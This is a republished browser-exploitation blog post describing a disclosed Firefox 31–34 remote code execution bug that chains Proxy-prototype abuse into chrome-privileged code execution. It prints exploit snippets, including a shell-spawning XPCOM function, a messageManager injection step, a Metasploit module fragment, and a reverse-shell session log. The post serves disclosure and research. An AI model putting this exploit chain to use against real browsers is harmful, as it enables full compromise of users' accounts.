This blog post was originally written by Joe Vennix, and published here with his permission. All first person pronouns refer to him.

Adventures in Browser Exploitation: Firefox 31 - 34 RCE

A few months ago, I was testing some Javascript code in Firefox involving Proxies. Proxies are a neat ECMAScript 6 feature that Firefox has had implemented for some time now. Proxy objects allow transparent interception of Javascript's normal get-/set-property pattern:

     var x = {};     var p = Proxy(x, {       get: function() {         console.log('getter called!');         return 'intercepted';       },       set: function() {         console.log('setter called!');       }     });     console.log(p.foo);     p.bar = 1; 

When run, the above code will print:

     > getter called!     > intercepted     > setter called! 

This is very useful to Javascript programmers as it allows for the implementation of the Ruby-style method_missing catch-all method. However, there are security implications; the W3C spec often requires objects from untrusted Javascript to be passed to privileged native code. Getters and setters can allow unprivileged code to run in unexpected ways inside of the privileged native code itself, at which point security checks can start to break. One example of this is geohot's 2014 Chrome ArrayBuffer memory corruption bug, which tricked native code operating on the buffer by defining a dynamic getter method on the ArrayBuffer's length property. There's a a good writeup by Palo Alto Networks.

So, the presence of Proxy objects in Firefox mainstream warrants some investigation. After playing with the implementation, some problems were apparent in how privileged code would interact with Proxy objects that were acting as the prototype of another object. For example, the following line would hang the browser indefinitely:

     document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }}); 

I played with it some more but could not find a way to abuse the problem further. I reported this to Mozilla as bug 1120261, hoping that someone would investigate. After some back-and-forth, I found out that the problem was already fixed in the 35.0 branch, so I put the issue out of my mind.

The Breakthrough

A thought struck one day, perhaps the getter is being called back in a different environment. I decided to test this theory by attempting to open a window with chrome privileges: such an operation should not be permitted by unprivileged code. I gave it a shot:

     var props = {};     props['has'] = function(){       var chromeWin = open("chrome://browser/content/browser.xul", "x")();     };     document.__proto__ = Proxy.create(props) 

I loaded the page and an alert for "attempting to open a popup window" appeared. This was a good sign, as it meant the chrome:// URL was being allowed to load, and was stopped only by the popup blocker. Which meant... clicking anywhere on the page opened a chrome-privileged URL.

What is chrome:// ?

Let's back up a bit. Firefox, like many other browsers, has a notion of privileged zones: different URI schemes have different powers. Chromium does this too (chrome://downloads), and Safari to some extent (file:// URLs). However, Firefox's chrome:// scheme is rather powerful - the Javascript executing under an origin with a scheme of chrome:// has the full privileges of the browser. In the presence of the right vulnerability, attackers can use this to get a fully-working shell on the user's machine.

If you want to test this, open the Developer Console (meta-alt-i) and browse to `chrome://browser/content/browser.xul`. Run the following code (linux/osx only):

     function runCmd(cmd) {         var process = Components.classes["@mozilla.org/process/util;1"]                   .createInstance(Components.interfaces.nsIProcess);         var sh = Components.classes["@mozilla.org/file/local;1"]                 .createInstance(Components.interfaces.nsILocalFile);         sh.initWithPath("/bin/sh");         process.init(sh);         var args = ["-c", cmd];         process.run(true, args, args.length);     }     runCmd("touch /tmp/owned"); 

You should have a file in /tmp/owned.

So if an attacker can find a way to inject code into this window, like we did with the Developer Console, your entire user account is compromised.

Injecting code

Gaining a reference to a chrome:// window is only half the battle. The Same Origin Policy prevents attacker.com from interacting with the code in chrome://browser, so we will need to find a way around this. Here I got really lucky; I tried a technique I had used when implementing our 22.0-27.0 WebIDL exploit.

Here's the technique: by providing the chrome option to open(), when open is called from a chrome-privileged docshell, the provided URL is loaded as the top-level "frame" of the new browser window; that is, there is no skin or interface document that encapsulates our document. A top-level frame has a messageManager property, which is accessible to same-origin code running in other chrome docshells:

     // abuse vulnerability to open window in chrome://     var c = new mozRTCPeerConnection;     c.createOffer(function(){},function(){       var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');       // we can now reference the `messageManager` property of the window's parent       alert(w.parent.messageManager)     }); 

MessageManager is a privileged Firefox API for sending messages between processes. One useful detail is that it allows injecting Javascript code into the process remotely using the `loadFrameScript` function.

Gaining RCE

From here, gaining remote code execution is trivial, thanks to the Firefox privileged payloads included in Metasploit. Just include the Msf::Exploit::Remote::FirefoxPrivilegeEscalation mixin, and the run_payload method will return a configured piece of Javascript code that will call Firefox's XPCOM APIs to spawn a reverse or bind shell on the target. JSON is used here to avoid encoding issues:

     # Metasploit module (ruby code)     js_payload = run_payload     js = %Q|         var payload = #{JSON.unparse({code: js_payload})};         injectIntoChrome(payload.code);     |     send_response_html(cli, "<script>js</script>") 

To see the full exploit source code, see today's disclosure Pull Request 4985. For the impatient, here's what a command shell looks like in Metasploit Framework (tested against Firefox version 32 release):

 msf exploit(firefox_proxy_prototype) > [*] 5.6.7.8    firefox_proxy_prototype - Gathering target information. [*] 5.6.7.8    firefox_proxy_prototype - Sending HTML response. [*] Command shell session 1 opened (1.2.3.4:4444 -> 5.6.7.8:37750) at 2015-03-23 11:48:53 -0500 

Note, that while the Tor Browser Bundle advertises itself as Firefox version 31, it does not appear exploitable in any reasonable setup.

Disclosure Timeline

This vulnerability was disclosed according to Rapid7's disclosure policy to Mozilla and CERT/CC.

Jan 11, 2015: Originally reported to Mozilla as a low-severity DoS, which turned out to be already patched in trunk

Jan 13, 2015: Firefox 35.0 shipped with patch

Jan 20, 2015: RCE implications discovered and disclosed to Mozilla

Feb 04, 2015: Disclosure to CERT/CC

Feb 13, 2015: Mozilla updates their original security advisory, MFSA2015-09 to note possibility of RCE

Mar 23, 2015: Public disclosure in Pull Request 4985.

All in all, I was impressed with Mozilla's response. Plus they sent me a bug bounty for discovering an RCE exploitation vector of an already-patched bug. Very classy!

This blog post was originally written by Joe Vennix, and published here with his permission.

The Mozilla bug is still currently under embargo as of this writing.

Disclosure timeline updated to correct an error on the Jan 13 / FF 35 update.

Affected version range in title corrected: 31.0 - 34.0.5 is the correct vulnerable version range.